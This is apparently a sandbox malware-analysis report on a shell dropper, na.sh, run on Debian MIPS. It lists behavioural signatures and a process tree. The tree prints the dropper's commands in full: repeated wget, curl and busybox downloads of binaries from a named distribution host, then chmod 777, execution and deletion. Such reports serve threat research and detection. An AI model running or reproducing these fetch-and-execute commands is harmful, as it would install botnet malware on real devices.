c148873ecaee8fcb8caebf9bf34d1deeec8b8891ac11f7c1c6947f75eae70603

Analysis

max time kernel
93s
max time network
95s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16/10/2024, 14:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
na.sh
Size 10KB
Sample241016-rdtxjatarc
SHA256 c148873ecaee8fcb8caebf9bf34d1deeec8b8891ac11f7c1c6947f75eae70603
MD5 d13d8627bbdc0ea9f0e5a9cb09dbb0b6
SHA1 3bbb18dbac3e7cda5556bbbf37810dc53ca317e7
SHA512 3b8a5d3127e22f8550ef019a2433046c53d4a0b52704d1ac1dc73005a0f2bee297bc503d1f229220a1beffccc8c0e536bf63d0e99a746898642f3835ceeff0ad
SSDEEP 96:YQM3l403KtKtK3s0LsYsUsodt4LEdEdE/cgTL2moLddmUA8GJhhPj9DbJbhbw3bS:FFo+ci5B8Fg
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
841	chmod
886	chmod
893	chmod
900	chmod
907	chmod
977	chmod
998	chmod
765	chmod
865	chmod
914	chmod
949	chmod
984	chmod
731	chmod
872	chmod
879	chmod
921	chmod
963	chmod
970	chmod
738	chmod
822	chmod
858	chmod
935	chmod
797	chmod
928	chmod
942	chmod
956	chmod
991	chmod
851	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
771	wget
845	curl
876	curl
878	busybox
857	busybox
862	curl
938	wget
995	curl
760	busybox
910	wget
974	curl
855	curl
959	wget
969	busybox
985	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
794	curl
899	busybox
903	wget
990	busybox
732	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
807	curl
882	wget
911	curl
925	curl
945	wget
999	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
997	busybox
844	wget
869	curl
889	wget
920	busybox
932	curl
983	busybox
986	rm
733	rm
766	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
897	curl
967	curl
796	busybox
840	busybox
864	busybox
939	curl
941	busybox
953	curl
955	busybox
818	busybox
838	curl
952	wget
980	wget
994	wget
735	curl
770	rm
854	wget
883	curl
904	curl
931	wget
962	busybox
1000	rm
746	curl
861	wget
868	wget
885	busybox
924	wget
948	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	curl
File opened for modification	/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	curl
File opened for modification	/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	curl
File opened for modification	/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	curl
File opened for modification	/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	curl
File opened for modification	/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	curl
File opened for modification	/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	curl
File opened for modification	/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	curl
File opened for modification	/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	curl
File opened for modification	/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	curl
File opened for modification	/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	curl
File opened for modification	/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	curl
File opened for modification	/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	curl
File opened for modification	/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	curl
File opened for modification	/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	curl
File opened for modification	/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	curl
File opened for modification	/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	curl
File opened for modification	/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	curl
File opened for modification	/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	curl
File opened for modification	/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	curl
File opened for modification	/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	curl
File opened for modification	/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	curl
File opened for modification	/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	curl
File opened for modification	/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	curl
File opened for modification	/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	curl
File opened for modification	/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	curl
File opened for modification	/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	curl
File opened for modification	/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	curl

/tmp/na.sh
/tmp/na.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  PID:730
- /bin/chmod
  chmod 777 HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  ./HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:732
- /bin/rm
  rm HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:733
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:737
- /bin/chmod
  chmod 777 bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  ./bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:760
- /bin/chmod
  chmod 777 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  ./91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:766
- /bin/rm
  rm 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:770
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - System Network Configuration Discovery
  PID:771
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - System Network Configuration Discovery
  PID:796
- /bin/chmod
  chmod 777 F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  ./F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:799
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:818
- /bin/chmod
  chmod 777 BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  ./BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/chmod
  chmod 777 mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  ./mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:843
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:850
- /bin/chmod
  chmod 777 bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  ./bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:853
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:854
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:857
- /bin/chmod
  chmod 777 RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  ./RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - System Network Configuration Discovery
  PID:864
- /bin/chmod
  chmod 777 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  ./4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:867
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - System Network Configuration Discovery
  PID:868
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:871
- /bin/chmod
  chmod 777 v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  ./v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  ./Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  ./QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:892
- /bin/chmod
  chmod 777 Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  ./Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  ./trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:906
- /bin/chmod
  chmod 777 F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  ./F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:913
- /bin/chmod
  chmod 777 BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  ./BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  ./mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:927
- /bin/chmod
  chmod 777 bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  ./bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  PID:934
- /bin/chmod
  chmod 777 RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  ./RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  ./4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  ./v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  ./Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
